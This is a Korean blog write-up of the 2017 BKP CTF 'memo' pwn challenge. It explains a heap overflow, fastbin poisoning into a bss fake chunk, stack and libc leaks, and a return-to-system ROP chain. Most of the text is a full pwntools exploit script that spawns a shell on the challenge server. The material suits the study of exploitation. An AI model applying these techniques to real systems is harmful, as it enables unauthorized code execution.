2017 BKP memo
by St1tchmemo
category : pwn
score : 300
Challenge
바이너리를 분석해보니, 얼마전 seccon의 tinypad문제와 좀 비슷했는데, 오히려 문제를 푸는 조건은 더 좋았다.
bss영역에 주소를 저장해놓는 배열, 크기를 저장해놓는 배열, 등이 있고, 이를 참조해서 데이터를 관리한다.
즉, 이 영역의 값을 원하는 값으로 바꾸기만하면 해당 주소의 값을 읽고, 그 주소에 쓸 수도 있다.
Vulnerabilities
취약한 부분은 비교적 눈에 잘 띄게끔 되어있다.
크기가 0x20이 넘으면 0x20만큼 malloc하게 되는데, read함수의 크기에는 0x20이 아닌 처음입력한 값을 그대로 사용한다.
따라서 heap overflow가 발생할 수 있다.
현재 chunk 뒤에 할당이 해제되있는 chunk의 fd값을 수정함으로써, fastbin에 fake chunk의 주소를 넣을 수 있고,
bss영역의 size배열에 적당한 부분을 fake chunk로 사용하면 뒤에 heap addr 을 저장해놓은 배열을 overwrite 할 수 있다.
heap addr 배열 뒤에는 스택주소가 저장되어 있으므로, 이 주소를 heap addr 배열에 overwrite한다.
이제 view기능을 통해 스택주소를 leak 할 수 있고, 이 주소를 이용해서 main의 ret부분을 계산한다.
그리고 edit기능으로 main의 ret를 다시 overwrite 한 뒤, 다시 view 기능을 이용해서 libc base주소를 알아낸다.
그리고 마지막으로 edit기능을 이용해서 main의 ret부분을 pop_rdi + &'/bin/sh' + &system 으로 덮는다.
Exploit
from pwn import *
context.log_level = 'warn'
local = True
if local :
s = process('./memo')
print util.proc.pidof(s)
pause()
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else :
s = remote('54.202.7.144', 8888)
libc = ELF('./memo_libc.so.6')
def command(token, *args) :
s.recvuntil(token)
for i in args :
s.sendline(str(i))
sleep(0.1)
fast = lambda token, *args : command(token, *args)
def solver() :
#init
fast(':', 'stitch')
fast('(y/n)', 'y')
fast(':', 'password')
#malloc 0, 1, 2
fast('>>', '1', 0, 32, 'stitch32')
fast('>>', '1', 1, 16, 'stitch16')
fast('>>', '1', 2, 32, 'stitch32')
#delete 2, 1
fast('>>', 4, 2)
fast('>>', 4, 1)
fast('>>', 4, 0)
#fake fastbin addr
fake_chunk = 0x602a60
pay = 'a' * 8 * 5
pay += p64(0x21)
pay += p64(fake_chunk)
#malloc 0, 1, 2
fast('>>', '1', 0, 64, pay)
fast('>>', '1', 1, 16, 'stitch16')
fast('>>', '1', 2, 32, 'stitch32')
#malloc 3
fake = 0x602a78
stack = 0x602a98
pay = p64(fake) + p64(stack)
fast('>>', '1')
fast(':', 3, 16, pay)
#stack addr leak
fast('>>', '3')
fast(':', '1')
main_ret = u64(s.recvuntil('\n\n', drop=True)[-6:].ljust(8, '\x00')) + 88
print 'main_ret =', hex(main_ret)
#edit main_ret
fast('>>', '2')
fast(':', p64(main_ret))
#libc addr leak
fast('>>', '3')
fast(':', '0')
libc_base = u64(s.recvuntil('\n\n', drop=True)[-6:].ljust(8, '\x00')) - 0x20830
system = libc_base + libc.symbols['system']
binsh = libc_base + list(libc.search('/bin/sh'))[0]
pop_rdi = 0x401263
#change idx
fast('>>', '1')
fast(':', '0')
#overwrite system('/bin/sh')
fast('>>', '2')
fast(':', p64(pop_rdi) + p64(binsh) + p64(system))
#get shell
s.sendline('6')
s.clean()
s.interactive()
if __name__ == '__main__' :
solver()
블로그의 정보
튜기's blogg(st1tch)
St1tch